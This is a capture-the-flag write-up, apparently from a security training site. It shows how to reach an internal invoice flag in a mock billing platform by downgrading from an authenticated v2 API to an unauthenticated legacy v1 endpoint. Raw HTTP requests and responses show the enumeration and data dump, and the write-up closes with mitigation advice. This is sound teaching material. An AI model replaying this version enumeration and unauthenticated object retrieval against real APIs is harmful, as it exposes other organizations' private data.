BillingCore

BillingCore

BillingCore presents itself as an «API-First» SaaS billing platform. The goal of this lab is to recover a flag that appears nowhere in the interface: it is stored in an invoice flagged as internal. The path to it is not a bug in the visible web app, but an old API version that was left published without authentication.

  • Category: API security · Access control and data exposure.
  • OWASP API Security Top 10 (2023): API9 (Improper Inventory Management), API3 (Broken Object Property Level Authorization / Excessive Data Exposure) and API1 (Broken Object Level Authorization).
  • Difficulty: Medium

1. Reconnaissance

When we enter the lab we are greeted by the BillingCore site, which advertises itself as «API-First Billing Infrastructure» and explicitly mentions a «v2 REST API». When a product brags this much about its API, the API is exactly where we should look.

We log in with the demo account the lab provides (demo / Demo1234!). Once inside, the dashboard belongs to the «BillingCore Demo Org» organization and loads its data dynamically from the API.

Under Settings we find the demo account's API token and the API documentation: the endpoints are /api/v2/invoices, /api/v2/clients and /api/v2/dashboard, and authentication is done with Authorization: Bearer <token>. The demo token is bc_live_2e7d5b9a4c1f8e3d.

The dashboard JavaScript (served at /static/app.js) confirms it in its header:

/**
 * BillingCore Dashboard — v3.4.1
 * REST client for /api/v2 endpoints
 */

2. API enumeration

With Burp we intercept the call the dashboard makes and send it to Repeater. We replay the v2 invoices request with the demo session:

GET /api/v2/invoices HTTP/1.1
Host: TARGET.ctf.sixhackacademy.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0
Accept: */*
Accept-Language: es-ES,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Referer: http://TARGET.ctf.sixhackacademy.com/dashboard
Sec-GPC: 1
Connection: keep-alive
Cookie: lab_token=REDACTED; session=REDACTED
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

The response is what you'd expect from a well-designed API: it only returns the invoices of the demo's own organization, and without internal fields.

HTTP/1.1 200 OK
Content-Type: application/json

[
  {
    "id": 6,
    "invoice_no": "INV-0006",
    "client": "BillingCore Demo Org",
    "status": "paid",
    "description": "Starter Plan — Trial activation"
  }
]

Here comes the key question of any API assessment: if there is a v2, what happened to v1? Old versions are usually left published «for compatibility» and then forgotten, without the new one's controls. In Repeater we change the route from v2 to v1 and drop the session cookie (keeping only the lab_token lab-access cookie): v1 validates nothing and answers the same:

GET /api/v1/dashboard HTTP/1.1
Host: TARGET.ctf.sixhackacademy.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0
Accept: */*
Accept-Language: es-ES,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: lab_token=REDACTED
HTTP/1.1 200 OK
Content-Type: application/json

{"invoices":7,"clients":4,"version":"1.0-legacy"}

It answers with no token and identifies itself as 1.0-legacy: an old version still alive and reachable without authentication.

3. The vulnerability

The flaw is not a single mistake, but a combination of three common API oversights:

  • Improper inventory management (API9): v1 is still deployed and routed even though the app already uses v2. Nobody retired it.
  • Missing authentication (API1): v2 requires an authenticated session and filters by the user's organization; v1 checks nothing and anyone can call it.
  • Excessive data exposure (API3): v2 runs every invoice through a function that strips the internal fields (visible, internal_note) and hides non-visible invoices. v1 returns the object as-is, with all its internal fields.

Among those invoices there is one flagged as internal ("visible": false) that v2 would never show, and which keeps the flag in its internal_note field.

4. Exploitation

We dump the full list from v1, with no authentication header at all:

GET /api/v1/invoices HTTP/1.1
Host: TARGET.ctf.sixhackacademy.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0
Accept: */*
Accept-Language: es-ES,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: lab_token=REDACTED

Among the results appears invoice INV-0001, which is not shown in the interface or in v2, with its internal field in plain sight:

HTTP/1.1 200 OK
Content-Type: application/json

  {
    "id": 1,
    "invoice_no": "INV-0001",
    "client": "SixHack Security Ltd.",
    "status": "internal",
    "description": "Internal security audit Q4-2023",
    "visible": false,
    "internal_note": "SIXHACK{...}"
  }

If we prefer to go straight to the object, v1 also serves it by its id, again with no token:

GET /api/v1/invoices/1 HTTP/1.1
Host: TARGET.ctf.sixhackacademy.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0
Accept: */*
Accept-Language: es-ES,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: lab_token=REDACTED

5. The flag

The value of the internal invoice's internal_note field is the lab's flag:

SIXHACK{...}

6. Mitigation and remediation

  • Retire deprecated versions. If an API is no longer used, it should not stay routed. Backwards compatibility does not justify leaving a v1 open indefinitely.
  • Same level of control for every version. If you keep v1, it must go through the same authentication and authorization as v2. One version can never be the other's backdoor.
  • Always filter by the authenticated user (object-level authorization) and never serialize internal fields in client-facing responses: use a field allow-list, as v2 does.
  • Keep an API inventory. Document which endpoints and versions exist and which should already be retired (OWASP API9).
  • Don't rely on obscurity. An endpoint not appearing in the interface is not protected; anyone guesses /api/v1/ from /api/v2/.
  • Include version enumeration in your testing: v1, v3, /internal, /legacy, etc.

Conclusion

BillingCore illustrates a pattern that constantly shows up in real engagements: the new API version is well protected, but someone left the old one alive. The attacker doesn't need to break v2's authentication; they simply bypass it by downgrading the version. An API is only as secure as its most forgotten endpoint.

Video walkthrough

← Back to Writeups